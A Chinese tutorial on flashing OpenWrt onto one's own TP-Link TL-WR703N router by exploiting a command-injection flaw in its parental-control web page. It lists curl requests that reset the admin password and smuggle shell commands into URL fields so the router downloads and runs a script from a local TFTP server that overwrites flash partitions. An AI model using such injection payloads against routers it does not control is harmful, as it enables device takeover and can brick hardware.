我的TL-WR703N路由器运行不稳定,就准备尝试刷最新的OpenWRT,看看能否好一点。
准备工作
- 一个 TP-Link TL-WR703N 路由器,确保固件版本为 3.17.1 Build 140120 Rel.56593n
1
# 在刷机之前,按reset按钮重置路由器
- TL-WR703N 的 openwrt 固件 openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin
1
2
3
4# 下载openwrt固件并拆分成两份(因为wr703n的内存很小,可能传输的时候传不了整个文件)
curl https://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin -o openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin
dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i1 bs=1 count=1048576
dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i2 bs=1 skip=1048576 - TFTP 服务器
1
2# 安装TFTP的客户端和服务器端
sudo apt-get install atftp atftpd - busybox 1.16.1 MIPS 版
1
curl https://busybox.net/downloads/binaries/1.21.1/busybox-mips > busybox
- 编写Hack脚本
1
2
3
4
5
6
7
8cd /tmp
tftp -gl i1 192.168.1.100 # 把i1从tftp服务器下载下来,这里的ip应该是,你的tftp服务器连接路由器之后,ifconfig看到的ip
tftp -gl i2 192.168.1.100 # 把i2从tftp服务器下载下来
tftp -gl busybox 192.168.1.100 # 把busybox从tftp服务器下载下来
chmod 755 busybox # 修改busybox权限以执行命令
./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync # 将i1写入磁盘分区
./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync # 将i2写入磁盘分区
reboot -f # 重启,会启动openwrt
刷机流程
在V1.7以前,可以通过路由器的Web UI直接将openwrt刷到板子上,但在V1.7之后,只能通过利用TP-LINK家长控制的漏洞,让路由板执行一些代码,成功刷写openwrt系统。本教程就是利用TP-LINK家长控制的漏洞进行openwrt刷机。下面介绍openwrt刷机的步骤。
搭建tftp服务器
在Debian操作系统中搭建tftp服务器请参考链接4。将busybox、 拆开的固件i1和i2、Hack脚本aa放入tftp服务器目录。
Hack into TL-WR703N
这个方法是利用TPLINK家长控制漏洞,以curl的方式执行命令,让路由器从tftp服务器上下载脚本,执行命令,从而将openwrt固件写入路由器。
【警告】以下步骤可能导致你的路由器变砖,请确认当前的路由器固件版本是3.17.1 Build 140120. 下述全过程请勿断开连接或是断开电源,本人不对产生的任何后果负责!另外,每一步都很重要,别忽略其中任何一步。一旦变砖,请用3.3V的串口线抢救。
步骤如下:
长按reboot按钮将路由器恢复出厂设置
将tftp服务器通过WiFi的方式连接到路由器 TL-WR703N,ifconfig记住tftp服务器的ip,我的是192.168.1.100
在tftp服务器上执行如下命令修改路由器WebUI默认管理员密码
1
2# 此处修改密码为admin42,注意Cookies中认证变量Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D即是设置管理员密码为admin42。后续将继续使用该变量进行其他操作,如果认证变量不正确,操作将无法执行。
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=true' 'http://192.168.1.1/'启用家长控制(利用漏洞)
1 | curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?ctrl_enable=1&parent_mac_addr=00-00-00-00-00-02&Page=1' |
- 让路由器从tftp服务器下载并执行脚本
1
2# 执行下述命令后,等待大约三分钟,路由器会重启进入openwrt系统,状态灯会闪烁一会儿
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20aa%20192.168.1.100;&url_2=;sh%20aa;&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=%B1%A3+%B4%E6'
openwrt系统配置
openwrt默认使用LuCI 用户界面,具体配置方法暂时没有时间研究。
参考链接
- 给 v1.7 版本的 TL-WR703N 刷 openwrt,by Cubic Zone.
- TL-WR703N v1.7刷openwrt,by 梦里茶.
- TP-Link TL-WR703N,by openwrt.
- Debian安装配置使用TFTP,by jack huang.
- Packet Traveling,by ed harmoush.